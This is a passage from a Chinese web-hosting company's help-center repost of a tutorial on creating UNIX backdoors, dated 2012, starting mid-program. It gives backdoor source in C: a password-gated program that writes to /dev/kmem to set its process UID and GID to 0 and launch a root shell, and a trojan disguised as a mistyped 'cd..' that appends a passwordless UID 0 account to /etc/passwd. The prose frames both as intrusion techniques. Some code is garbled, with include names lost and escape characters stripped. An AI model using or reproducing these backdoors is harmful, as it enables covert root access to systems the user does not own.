• <ul id="mayc0"></ul>
    <ul id="mayc0"><center id="mayc0"></center></ul>
    <strike id="mayc0"><input id="mayc0"></input></strike>
    <ul id="mayc0"></ul>
  • 始創于2000年 股票代碼:831685
    咨詢熱線:0371-60135900 注冊有禮 登錄
    • 掛牌上市企業
    • 60秒人工響應
    • 99.99%連通率
    • 7*24h人工
    • 故障100倍補償
    您的位置: 網站首頁 > 幫助中心>文章內容

    創建UNIX后門(高級篇) (2)

    發布時間:  2012/9/4 18:39:22

    c, argv, envp)

        int argc;

        char *argv[], *envp[];{

        int count, fd;

        long where, lseek();

        if(argv[1]){

        if(!(strcmp(pass,argv[1]))){

        fd=(open("/dev/kmem",O_RDWR);

        if(fd<0){

        printf("Cannot read or write to

        /dev/kmemn");

        perror(argv);

        exit(10);

        }

        userlocation=address();

        where=(lseek(fd,userlocation,0);

        if(where!=userlocation){

        printf("Cannot seek to user pagen");

        perror(argv);

        exit(20);

        }

        count=read(fd,&userpage,sizeof(struct user));

        if(count!=sizeof(struct user)){

        printf("Cannot read user pagen");

        perror(argv);

        exit(30);

        }

        printf("Current UID: %dn",userpage.u_ruid);

        printf("Current GID: %dn",userpage.g_ruid);

        userpage.u_ruid=0;

        userpage.u_rgid=0;

        where=lseek(fd,userlocation,0);

        if(where!=userlocation){

        printf("Cannot seek to user pagen");

        perror(argv);

        exit(40);

        }

        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

        }

        }

        }

        <-->

        [“笨”方法]

        你有沒有曾經試過在 Unix 系統下錯把 "cd .." 輸入為 "cd.."?這是由于使用 MS Windows 和 MS-DOS 養成的習慣。這種錯誤網管是否也會犯呢?如果是這樣的話,可不可以讓他為我們做點“貢獻”呢?:) 例如當他輸入 "cd.." 時,會激活我們的木馬程序。這樣我們就不必登錄到系統去激活木馬了。以下是程序示例:

        <++> backdoor/dumb.c

        /*

        本程序可在管理員偶然地輸入 cd.. 時向 /etc/passwd 文件添加一個 UID 0 帳號。但同時它也實現 cd .. 功能,從而騙過管理員。

        */

        #include

        #include

        main()

        {

        FILE *fd;

        fd=fopen("/etc/passwd","a+");

        fprintf(fd,"hax0r::0:0::/root:/bin/shn");

        system("cd");

        }

        <-->


    億恩科技地址(ADD):鄭州市黃河路129號天一大廈608室 郵編(ZIP):450008 傳真(FAX):0371-60123888
       聯系:億恩小凡
       QQ:89317007
       電話:0371-63322206


    本文出自:億恩科技【www.vbseamall.com】

    服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經營性ICP/ISP證:贛B2-20080012
  • 服務器/云主機 24小時售后服務電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
  • 專注服務器托管17年
    掃掃關注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
      0
     
     
     
     

    0371-60135900
    7*24小時客服服務熱線